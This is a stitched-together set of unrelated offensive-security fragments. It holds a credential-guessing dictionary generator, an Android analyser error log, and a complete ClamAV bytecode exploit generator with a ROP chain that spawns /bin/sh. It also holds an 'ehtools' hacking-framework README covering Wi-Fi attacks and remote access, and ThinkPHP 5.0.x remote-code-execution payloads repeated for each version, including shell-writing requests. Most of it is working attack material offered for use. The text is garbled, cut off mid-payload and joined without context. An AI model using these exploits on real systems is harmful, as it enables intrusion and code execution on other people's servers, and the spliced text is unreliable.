if parameter:
if not user_key:
for z in [ 'user', 'name','zhanghao', 'yonghu', 'email', 'account']:
if z in parameter.lower():
value = '{user_name}'
user_key = parameter
ok_flag = 1
break
if not ok_flag:
for y in ['pass', 'pw', 'mima']:
if y in parameter.lower():
value = '{pass_word}'
pass_key = parameter
ok_flag = 1
break
def gen_dynam_dic(url):
dynam_pass_dic = []
tmp_dic = []
suffix_dic = ['', '123', '888', '666', '123456']
list1 = url.split('/')
host = list1[2].split(":")[0]
compile_ip = re.compile('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$')
if compile_ip.match(host):
check_ip = 1
else:
check_ip = 0
if not check_ip:
list2 = host.split(".")
i = len(list2)
for u in range(i):
list3 = list2[u:]
part = '.'.join(list3)
if (len(part) < 5):
continue
dynam_pass_dic.append(part)
for u in range(i):
list3 = list2[u]
if len(list3) < 5:
continue
tmp_dic.append(list3)
for i in tmp_dic:
for suffix in suffix_dic:
u = i + suffix
dynam_pass_dic.append(u)
return dynam_pass_dic
else:
return ''
python3 src/jandroid.py -f ./apps -g visjs Traceback (most recent call last):File "src/jandroid.py", line 408, in <module> inst_jandroid.fn_main() File "src/jandroid.py", line 227, in fn_main self.pull_source File "/Volumes/Macintosh/Users/riusksk/Android-Security/工具/Jandroid/src/plugins/android/main.py", line 51, in fn_start_plugin_analysis app_pull_src File "/Volumes/Macintosh/Users/riusksk/Android-Security/工具/Jandroid/src/plugins/android/requirements_checker.py", line 53, in fn_perform_initial_checks raise JandroidException( NameError: name 'JandroidException' is not defined
INFO Creating template object. INFO 1 potential template(s) found. DEBUG Parsing /Volumes/Macintosh/Users/riusksk/Android-Security/工具/Jandroid/templates/android/sample_basic_browsable_jsbridge.template INFO Initiating Android analysis. INFO Performing basic checks. Please wait. INFO Basic checks complete. INFO Beginning analysis... DEBUG 1 app(s) to analyse, using 2 thread(s). DEBUG Created worker process 0 DEBUG Created worker process 1 DEBUG AnalyzeAPK DEBUG Analysing without session INFO Analysing ctrip.android.view_8.13.0_1248.apk in worker thread 0. DEBUG AXML contains a RESOURCE MAP DEBUG Start of Namespace mapping: prefix 47: 'android' --> uri 48: 'http://schemas.android.com/apk/res/android' DEBUG START_TAG: manifest (line=2) DEBUG found an attribute: {http://schemas.android.com/apk/res/android}versionCode='b'1248'' DEBUG found an attribute: {http://schemas.android.com/apk/res/android}versionName='b'8.13.0'' DEBUG found an attribute: ...... DEBUG Settings basic blocks childs DEBUG Creating exceptions DEBUG Parsing instructions DEBUG Parsing exceptions DEBUG Creating basic blocks in Landroid/support/constraint/solver/LinearSystem;->createRowDimensionPercent(Landroid/support/constraint/solver/LinearSystem; Landroid/support/constraint/solver/SolverVariable; Landroid/support/constraint/solver/SolverVariable; Landroid/support/constraint/solver/SolverVariable; F Z)Landroid/support/constraint/solver/ArrayRow; [access_flags=public static] @ 0x199210 ...... DEBUG Looking for subclasses of Lctrip/business/map/SimpleOverseaMapActivity; DEBUG ctrip.android.view_8.13.0_1248.apk took 349 seconds to analyse. DEBUG Finished analysing ctrip.android.view_8.13.0_1248.apk with output {'bug_obj': {'JSbridgeBrowsable': False}, 'graph_list': []}. INFO Finished analysing apps. INFO Creating custom graph. INFO Custom graph can be found at /Volumes/Macintosh/Users/riusksk/Android-Security/工具/Jandroid/output/graph/jandroid.html INFO All done.
#!/usr/bin/python
'''
Finished : 22/07/2019
Pu8lished : 31/10/2019
Versi0n : Current (<= 0.102.0)
Result : Just for fun.
"Because of my inability to change the world."
In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on
a signature-based detection approach, and still undergoes active-development. by that time,
LibClamAV only held 2 binaries, and expanded to 5 at present.
ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly
validating and interpreting the code therein, and the information provided didn't indicate
nor explain the presence of its internal mechanisms.
The availability of the source-code and the lack of documentation led to the establishment
of this paper, it was certainly not an attempt to escalate privileges, but rather a sought
-after experience, and source of entertainment that grants the thrill of a challenge.
Due to the considerable amount of time spent in the analysis, the dissection of the engine
was imminent, whilst significantly broadening our perception on its internal structures.
The trial and error process produced valuable information, crashes illuminated latent bugs,
effectively increasing the attack surface, and magnifying the possibility for exploitation.
> ./exploit.py
> clambc --debug exploit
[SNIP]
$
'''
names = ['test1',
'read',
'write',
'seek',
'setvirusname',
'debug_print_str',
'debug_print_uint',
'disasm_x86',
'trace_directory',
'trace_scope',
'trace_source',
'trace_op',
'trace_value',
'trace_ptr',
'pe_rawaddr',
'file_find',
'file_byteat',
'malloc',
'test2',
'get_pe_section',
'fill_buffer',
'extract_new',
'read_number',
'hashset_new',
'hashset_add',
'hashset_remove',
'hashset_contains',
'hashset_done',
'hashset_empty',
'buffer_pipe_new',
'buffer_pipe_new_fromfile',
'buffer_pipe_read_avail',
'buffer_pipe_read_get',
'buffer_pipe_read_stopped',
'buffer_pipe_write_avail',
'buffer_pipe_write_get',
'buffer_pipe_write_stopped',
'buffer_pipe_done',
'inflate_init',
'inflate_process',
'inflate_done',
'bytecode_rt_error',
'jsnorm_init',
'jsnorm_process',
'jsnorm_done',
'ilog2',
'ipow',
'iexp',
'isin',
'icos',
'memstr',
'hex2ui',
'atoi',
'debug_print_str_start',
'debug_print_str_nonl',
'entropy_buffer',
'map_new',
'map_addkey',
'map_setvalue',
'map_remove',
'map_find',
'map_getvaluesize',
'map_getvalue',
'map_done',
'file_find_limit',
'engine_functionality_level',
'engine_dconf_level',
'engine_scan_options',
'engine_db_options',
'extract_set_container',
'input_switch',
'get_environment',
'disable_bytecode_if',
'disable_jit_if',
'version_compare',
'check_platform',
'pdf_get_obj_num',
'pdf_get_flags',
'pdf_set_flags',
'pdf_lookupobj',
'pdf_getobjsize',
'pdf_getobj',
'pdf_getobjid',
'pdf_getobjflags',
'pdf_setobjflags',
'pdf_get_offset',
'pdf_get_phase',
'pdf_get_dumpedobjid',
'matchicon',
'running_on_jit',
'get_file_reliability',
'json_is_active',
'json_get_object',
'json_get_type',
'json_get_array_length',
'json_get_array_idx',
'json_get_string_length',
'json_get_string',
'json_get_boolean',
'json_get_int']
o = names.index('buffer_pipe_new') + 1
k = names.index('buffer_pipe_write_get') + 1
l = names.index('debug_print_str') + 1
m = names.index('malloc') + 1
c = 0
for name in names:
names[c] = name.encode('hex')
c += 1
def cc(n):
v = chr(n + 0x60)
return v
def cs(s):
t = ''
for i in xrange(0, len(s), 2):
u = int(s[i], 16)
l = int(s[i + 1], 16)
for i in [u, l]:
if((i >= 0 and i <= 0xf)):
continue
print 'Invalid string.'
exit(0)
t += cc(l) + cc(u)
return t
def wn(n, fixed=0, size=0):
if n is 0:
return cc(0)
t = ''
c = hex(n)[2:]
l = len(c)
if (l % 2) is 1:
c = "0" + c
r = c[::-1]
if(l <= 0x10):
if not fixed:
t = cc(l)
i = 0
while i < l:
t += cc(int(r[i], 16))
i += 1
else:
print 'Invalid number.'
exit(0)
if size != 0:
t = t.ljust(size, '`')
return t
def ws(s):
t = '|'
e = s[-2:]
if(e != '00'):
print '[+] Adding null-byte at the end of the string..'
s += '00'
l = (len(s) / 2)
if (len(s) % 2) is 1:
print 'Invalid string length.'
exit(0)
t += wn(l)
t += cs(s)
return t
def wt(t):
if t < (num_types + 0x45):
v = wn(t)
return v
else:
print 'Invalid type.'
exit(0)
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
global flimit, num_types
if maxfunc is 0:
maxfunc = flimit
if(minfunc > flimit or maxfunc < flimit):
print 'Invalid minfunc and/or maxfunc.'
exit(0)
header = "ClamBC"
header += wn(0x07) # formatlevel(6, 7)
header += wn(0x88888888) # timestamp
header += ws("416c69656e") # sigmaker
header += wn(0x00) # targetExclude
header += wn(0x00) # kind
header += wn(minfunc) # minfunc
header += wn(maxfunc) # maxfunc
header += wn(0x00) # maxresource
header += ws("00") # compiler
header += wn(num_types + 5) # num_types
header += wn(num_func) # num_func
header += wn(0x53e5493e9f3d1c30) # magic1
header += wn(0x2a, 1) # magic2
header += ':'
header += str(linelength)
header += chr(0x0a)*2
return header
def prepare_types(contained, type=1, nume=1):
global num_types
types = "T"
types += wn(0x45, 1) # start_tid(69)
for i in range(0, num_types):
types += wn(type[i], 1) # kind
if type[i] in [1, 2, 3]:
# Function, PackedStruct, Struct
types += wn(nume[i]) # numElements
for j in range(0, nume[i]):
types += wt(contained[i][j]) # containedTypes[j]
else:
# Array, Pointer
if type[i] != 5:
types += wn(nume[i]) # numElements
types += wt(contained[i][0]) # containedTypes[0]
types += chr(0x0a)
return types
def prepare_apis(calls=1):
global maxapi, names, ids, tids
if(calls > max_api):
print 'Invalid number of calls.'
exit(0)
apis = 'E'
apis += wn(max_api) # maxapi
apis += wn(calls) # calls(<= maxapi)
for i in range(0, calls):
apis += wn(ids[i]) # id
apis += wn(tids[i]) # tid
apis += ws(names[ids[i] - 1]) # name
apis += chr(0x0a)
return apis
def prepare_globals(numglobals=1):
global max_globals, type, gval
globals = 'G'
globals += wn(max_globals) # maxglobals
globals += wn(numglobals) # numglobals
for i in range(0, numglobals):
globals += wt(type[i]) # type
for j in gval[i]: # subcomponents
n = wn(j)
globals += chr(ord(n[0]) - 0x20)
globals += n[1:]
globals += cc(0)
globals += chr(0x0a)
return globals
def prepare_function_header(numi, numbb, numa=1, numl=0):
global allo
if numa > 0xf:
print 'Invalid number of arguments.'
exit(0)
fheader = 'A'
fheader += wn(numa, 1) # numArgs
fheader += wt(0x20) # returnType
fheader += 'L'
fheader += wn(numl) # numLocals
for i in range(0, numa + numl):
fheader += wn(type[i]) # types
fheader += wn(allo[i], 1) # | 0x8000
fheader += 'F'
fheader += wn(numi) # numInsts
fheader += wn(numbb) # numBB
fheader += chr(0x0a)
return fheader
flimit = 93
max_api = 100
max_globals = 32773
num_types = 6
# Header parsing
w = initialize_header(num_func=0x1)
# Types parsing
cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]
type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]
num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]
w += prepare_types(cont, type, num)
# API parsing
ids = [o, k, l, m]
tids = [71, 72, 73, 74]
w += prepare_apis(0x4)
'''
# crash @ id=0
'''
# Globals parsing
type = [0x45]
gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]
w += prepare_globals(0x1)
# Function header parsing
type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]
allo = [ 1, 0, 0, 0, 0, 0, 0]
w += prepare_function_header(35, 0x1, 0x0, 0x7)
# BB parsing
p = 'B'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += '@d'
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Nobbfifnfobcghfh'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'C`fcd'
# LOAD Var #2 = ([Var #1])
p += wn(0x40)
p += wn(0x2)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #2 -= 0xd260
p += wn(0x40)
p += wn(0x2)
p += wn(0x2, 1, 2)
p += wn(0x2)
p += 'D`fbmd'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
# LOAD Var #3 = ([Var #1])
p += wn(0x40)
p += wn(0x3)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #3 -= 0x10
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'B`ad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
# LOAD Var #4 = ([Var #1])
p += wn(0x40)
p += wn(0x4)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #4 -= 0x190
p += wn(0x40)
p += wn(0x4)
p += wn(0x2, 1, 2)
p += wn(0x4)
p += 'C`iad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhcd'
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhdd'
# ADD Var #3 += 0x3
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'Acd'
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhbd'
# ADD Var #5 += Var #2 + 0xcbda
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Djmkld'
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`bd'
# STORE (Var #4 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x4)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhad'
# ADD Var #5 += Var #2 + 0x99dc
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dlmiid'
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
# STORE (0x3b -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Bkcd'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`dd'
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Ahd'
# ADD Var #2 += 0x6d68
p += wn(0x40)
p += wn(0x2)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dhfmfd'
# STORE (Var #2 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x2)
p += wn(0x1)
'''
0x99dc : pop rdi ; ret
0xcbda : pop rsi ; ret
0x6d68 : pop rax ; ret
Var #2 = text_base
Var #3 = syscall (+3: pop rdx; ret)
Var #4 = "/bin/sh\x00"
pop rax; ret; o 0x8
59 o 0x10
pop rdi; ret; o 0x18
sh; address o 0x20
pop rsi; ret; o 0x28
0x0 o 0x30
pop rdx; ret; o 0x38
0x0 o 0x40
syscall o 0x48
'''
# COPY Var #6 = (0x5a90050f(o`e``ije))
p += wn(0x20)
p += wn(0x0)
p += wn(0x22, 1)
p += 'Ho`e``ijeh'
p += wn(0x6)
p += 'T'
p += wn(0x13, 1)
p += wn(0x20)
p += wn(0x6)
p += 'E'
w += p
f = open("exploit", "w")
f.write(w)
f.close()
print '[+] Generated payload'
'''
twitter:@momika233
'''
INFO: Our framework has more than 100 packages in
ehtools archive (on server this archive: 2.3 Tb)!
在下一个菜单中，工具分为主要类别，并提供用于管理脚本安装的选项。提供的选项有：
Wi-Fi工具（攻击无线网络的工具）。
INFO: Wi-Fi options this is tools for attacking
wireless networks and network databases.
远程访问（用于远程访问其他设备并进行远程管理的工具）。
INFO: Remote access means tools for getting access
to other devices and remotely managing them.
信息收集（在人或网站上收集情报）。
INFO: Information gathering tools, tools for
collecting intelligence on peaple or website.
网站工具（用于利用或攻击网站的工具）。
INFO: Website tools, tools for exploiting or
attacking sites and network databases.
其他（其他黑客工具的各种集合）
INFO: Other tools this is collection
of miscellaneous hacking tools.
您还可以通过访问选项6管理已安装的工具。
使用ehtools快速访问
INFO: Ehtools quick access, this is when you run
ehtools and for example ehtools -r to remove ehtools!
运行它以打开快速访问菜单：
ehtools -o
运行它来卸载ehtools：
ehtools -u
运行它以打开握手菜单：
ehtools -h
运行它以打开“查找WPS”菜单：
ehtools -w
INFO: For this shortcuts you will not need enter
your ehtools password (only for ehtools -u)!
使用ehtools应用程序
INFO: Ehtools application is an Ehtools Framework shortcut
that allows users to run Ehtools Framework just selecting
ehtools in the applications and clicking on it! I mean ehtools
application allows users to run ehtools via the application!
有两种方法设置ehtools应用程序：
使用安装程序
INFO: The ehtools INSTALLER allows
you to create ehtools application.
使用ehtapp
INFO: There is an ehtools utility named
ehtapp (read more in Ehtools Utilities) that
allows users to configure ehtools application.
ehtapp -c
为什么选择ehtools框架？
默认情况下，安装了58种以上的渗透测试工具
INFO: More than 58 options installed by default you
can find in ehtools, this is tools such as MetaSploit,
WireShark and other tools!
密码保护和配置加密
INFO: In version 2.1.6 we added pasword protection,
we added it for users who think that his/her friend or
parents will turn into ehtools and will remove or destroy
it. Only for this people we create password protection
for Ehtools Framework :)
易于学习，这是初学者的最佳框架
INFO: Ehtools Framework's TUI is very simple for beginners,
you can start attack on the local network by choosing an
option from main menu. It is very simple, is not it?
初学者的UX / UI改进
INFO: It uses the names you supply to connect to the tools needed to
execute any attacks you select! Aside from that initial input, the majority
of the possible attacks can be performed merely by choosing the option number
from the menu. This means you can grab a network handshake or download a new
hacking tool like Pupy by just selecting from one of the menu options!
您可以从ehtools安装100多种工具
INFO: Our framework has more than 100 packages in ehtools
archive (on server this archive: 2.3 Tb)! But if you are using
ehtools LITE you could install only 50% of this tools!
Ehtools wifi渗透工具框架
系统要求
Ehtools Framework仅支持两个操作系统
INFO: Ehtools Framework only supports two
operating systems - Kali Linux and Parrot OS!
完全root访问权限和对/ root文件夹的访问
INFO: All ehtools files and folders will be copied to /root,
/bin and /etc system folders, to copy ehtools data to
your system Ehtools Framework needs full root access!
良好的Internet连接以支持服务器（仅ehtools PRO）
INFO: The server support for ehtools PRO is one of system
requirements, it is needed for collect information about
ehtools crashes and it is also needed for check product
status such as (you bought ehtools/you did not buy ehtools)
Usage: uiecache [OPTION...]
Copyright (C) 2019, Entynetproject. All Rights Reserved.
-a --all Uninstall all ehtools cache.
(standart old uiecache)
-p --path <path> Uninstall ehtools cache from your path.
(uninstall cache from path)
-r --restart Restart all ehtools processes and services.
(restart ehtools system)
-h --help Give this help list.
Usage: ehtmod [OPTION...]
Copyright (C) 2019, Entynetproject. All Rights Reserved.
-i --install Install ehtools modules to /bin/ehtools.
(install ehtools modules)
-t --take <name> Take a new ehtools modules snapshot.
(take ehtools modules snapshot)
-r --restore <name> Restore saved ehtools modules snapshot.
(restore ehtools modules snapshot)
-d --delete <name> Delete saved ehtools modules snapshot.
(delete ehtools modules snapshot)
-u --uninstall Uninstall ehtools modules from /bin/ehtools.
(uninstall ehtools modules)
-h --help Give this help list.
要安装ehtools模块，您需要执行以下命令：
INFO: The ehtools INSTALLER will ask you to "install" or "not
install" ehtools modules and if you answered "not install" and
want to install them, run the following command!
模块-i
Ehtools模块快照（EMS）
INFO: EMS is a saved ehtools modules data from /bin/ehtools and
/root/ehtools/eht (this is a saved ehtools modules data), you can
take it using the ehtmod utility v1.9 and restore it.
INFO: EMR is an operation that removing /bin/ehtools and
/root/ehtools/eht and restoring it from the saved ehtools modules
snapshot, you can restore it using the ehtmod utility v1.9, but ESR will
remove all your old ehtools modules data from /bin/ehtools and /root/ehtools/eht!
Usage: ehtapp [OPTION...]"
Copyright (C) 2019, Entynetproject. All Rights Reserved.
-c --create Create ehtools application.
(create shortcut application)
-d --desktop <option> Create/remove ehtools desktop application.
(create/remove desktop shortcut application)
-r --remove Remove ehtools application.
(remove shortcut application)
-h --help Give this help list.
要创建ehtools应用程序，您需要执行以下命令：
INFO: The ehtools INSTALLER will ask you to "create" or
"not create" ehtools application and if you answered "not
create" and want to create it, run the following command!
配置 MySQL 数据库，建立名为 openrasp 的数据库，并为 rasp@% 授权，密码为 rasp123（建议使用强度更高的密码，这里只是举例）。请用 root 账号连接 mysql 并执行如下语句:
DROP DATABASE IF EXISTS openrasp;
CREATE DATABASE openrasp default charset utf8mb4 COLLATE utf8mb4_general_ci;
grant all privileges on openrasp.* to 'rasp'@'%' identified by 'rasp123';
grant all privileges on openrasp.* to 'rasp'@'localhost' identified by 'rasp123';
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.1
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.2
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.3
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.4
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.5
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.6
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.7
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.8
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.9
debug 无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.10
从5.0.10开始默认debug=false，debug无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.11
默认debug=false，debug无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.12
默认debug=false，debug无关
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
我们继续
5.0.13补充
补充
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.14
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.15
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.16
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.17
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.18
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.19
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
